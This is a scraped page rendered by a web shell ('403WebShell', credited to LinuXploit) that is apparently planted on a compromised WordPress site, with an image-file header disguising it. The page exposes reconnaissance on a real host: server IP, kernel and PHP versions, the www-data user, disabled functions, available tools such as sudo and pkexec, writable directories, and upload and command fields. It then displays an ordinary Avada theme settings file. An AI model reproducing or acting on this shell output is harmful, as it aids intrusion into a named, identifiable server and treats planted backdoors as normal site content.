????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.143.144.95
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.astacus.eu/wp-content/themes/Avada/includes/options/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.astacus.eu/wp-content/themes/Avada/includes/options/sliding_bar.php
<?php

// Do not allow directly accessing this file.
if ( ! defined( 'ABSPATH' ) ) {
	exit( 'Direct script access denied.' );
}

/**
 * Logo
 *
 * @param array $sections An array of our sections.
 * @return array
 */
function avada_options_section_sliding_bar( $sections ) {

	$sections['sliding_bar'] = array(
		'label'    => esc_html__( 'Sliding Bar', 'Avada' ),
		'id'       => 'heading_sliding_bar',
		'priority' => 8,
		'icon'     => 'el-icon-chevron-down',
		'fields'   => array(
			'slidingbar_widgets' => array(
				'label'       => esc_html__( 'Sliding Bar on Desktops', 'Avada' ),
				'description' => esc_html__( 'Turn on to display the sliding bar on desktops.', 'Avada' ),
				'id'          => 'slidingbar_widgets',
				'default'     => '1',
				'type'        => 'switch',
			),
			'mobile_slidingbar_widgets' => array(
				'label'       => esc_html__( 'Sliding Bar On Mobile', 'Avada' ),
				'description' => esc_html__( 'Turn on to display the sliding bar on mobiles.', 'Avada' ),
				'id'          => 'mobile_slidingbar_widgets',
				'default'     => '0',
				'type'        => 'switch',
				'required'    => array(
					array(
						'setting'  => 'slidingbar_widgets',
						'operator' => '==',
						'value'    => '1',
					),
				),
			),
			'slidingbar_open_on_load' => array(
				'label'       => esc_html__( 'Sliding Bar Open On Page Load', 'Avada' ),
				'description' => esc_html__( 'Turn on to have the sliding bar open when the page loads.', 'Avada' ),
				'id'          => 'slidingbar_open_on_load',
				'default'     => '0',
				'type'        => 'switch',
				'required'    => array(
					array(
						'setting'  => 'slidingbar_widgets',
						'operator' => '==',
						'value'    => '1',
					),
				),
			),
			'slidingbar_widgets_columns' => array(
				'label'       => esc_html__( 'Number of Sliding Bar Columns', 'Avada' ),
				'description' => esc_html__( 'Controls the number of columns in the sliding bar.', 'Avada' ),
				'id'          => 'slidingbar_widgets_columns',
				'default'     => '2',
				'type'        => 'slider',
				'choices'     => array(
					'min'  => '1',
					'max'  => '6',
					'step' => '1',
				),
				'required'    => array(
					array(
						'setting'  => 'slidingbar_widgets',
						'operator' => '==',
						'value'    => '1',
					),
				),
			),
			'sliding_bar_styling_title' => array(
				'label'       => '',
				'description' => esc_html__( 'Sliding Bar Styling', 'Avada' ),
				'id'          => 'sliding_bar_styling_title',
				'type'        => 'custom',
				'style'       => 'heading',
				'required'    => array(
					array(
						'setting'  => 'slidingbar_widgets',
						'operator' => '==',
						'value'    => '1',
					),
				),
			),

			'slidingbar_bg_color' => array(
				'label'       => esc_html__( 'Sliding Bar Background Color', 'Avada' ),
				'description' => esc_html__( 'Controls the background color of the sliding bar.', 'Avada' ),
				'id'          => 'slidingbar_bg_color',
				'type'        => 'color-alpha',
				'default'     => '#363839',
				'required'    => array(
					array(
						'setting'  => 'slidingbar_widgets',
						'operator' => '==',
						'value'    => '1',
					),
				),
			),
			'slidingbar_divider_color' => array(
				'label'       => esc_html__( 'Sliding Bar Item Divider Color', 'Avada' ),
				'description' => esc_html__( 'Controls the divider color in the sliding bar.', 'Avada' ),
				'id'          => 'slidingbar_divider_color',
				'default'     => '#282A2B',
				'type'        => 'color-alpha',
				'required'    => array(
					array(
						'setting'  => 'slidingbar_widgets',
						'operator' => '==',
						'value'    => '1',
					),
				),
			),
			'slidingbar_toggle_icon_color' => array(
				'label'       => esc_html__( 'Sliding Bar Toggle Icon Color', 'Avada' ),
				'description' => esc_html__( 'Controls the color of the sliding bar toggle icon.', 'Avada' ),
				'id'          => 'slidingbar_toggle_icon_color',
				'default'     => '#ffffff',
				'type'        => 'color',
				'required'    => array(
					array(
						'setting'  => 'slidingbar_widgets',
						'operator' => '==',
						'value'    => '1',
					),
				),
			),
			'slidingbar_font_size' => array(
				'label'       => esc_html__( 'Sliding Bar Heading Font Size', 'Avada' ),
				'description' => esc_html__( 'Controls the font size for the sliding bar heading text.', 'Avada' ),
				'id'          => 'slidingbar_font_size',
				'default'     => '13px',
				'type'        => 'dimension',
				'choices'     => array(
					'units' => array( 'px', 'em' ),
				),
				'required'    => array(
					array(
						'setting'  => 'slidingbar_widgets',
						'operator' => '==',
						'value'    => '1',
					),
				),
			),

			'slidingbar_headings_color' => array(
				'label'       => esc_html__( 'Sliding Bar Headings Color', 'Avada' ),
				'description' => esc_html__( 'Controls the text color of the sliding bar heading font.', 'Avada' ),
				'id'          => 'slidingbar_headings_color',
				'default'     => '#dddddd',
				'type'        => 'color',
				'required'    => array(
					array(
						'setting'  => 'slidingbar_widgets',
						'operator' => '==',
						'value'    => '1',
					),
				),
			),
			'slidingbar_text_color' => array(
				'label'       => esc_html__( 'Sliding Bar Font Color', 'Avada' ),
				'description' => esc_html__( 'Controls the text color of the sliding bar font.', 'Avada' ),
				'id'          => 'slidingbar_text_color',
				'default'     => '#8C8989',
				'type'        => 'color',
				'required'    => array(
					array(
						'setting'  => 'slidingbar_widgets',
						'operator' => '==',
						'value'    => '1',
					),
				),
			),
			'slidingbar_link_color' => array(
				'label'       => esc_html__( 'Sliding Bar Link Color', 'Avada' ),
				'description' => esc_html__( 'Controls the text color of the sliding bar link font.', 'Avada' ),
				'id'          => 'slidingbar_link_color',
				'default'     => '#bfbfbf',
				'type'        => 'color',
				'required'    => array(
					array(
						'setting'  => 'slidingbar_widgets',
						'operator' => '==',
						'value'    => '1',
					),
				),
			),
			'slidingbar_top_border' => array(
				'label'       => esc_html__( 'Top Border on Sliding Bar', 'Avada' ),
				'description' => esc_html__( 'Turn on to display a top border line on the sliding bar.', 'Avada' ),
				'id'          => 'slidingbar_top_border',
				'default'     => '0',
				'type'        => 'switch',
				'required'    => array(
					array(
						'setting'  => 'slidingbar_widgets',
						'operator' => '==',
						'value'    => '1',
					),
				),
			),
		),
	);

	return $sections;
}

Youez - 2016 - github.com/yon3zu
LinuXploit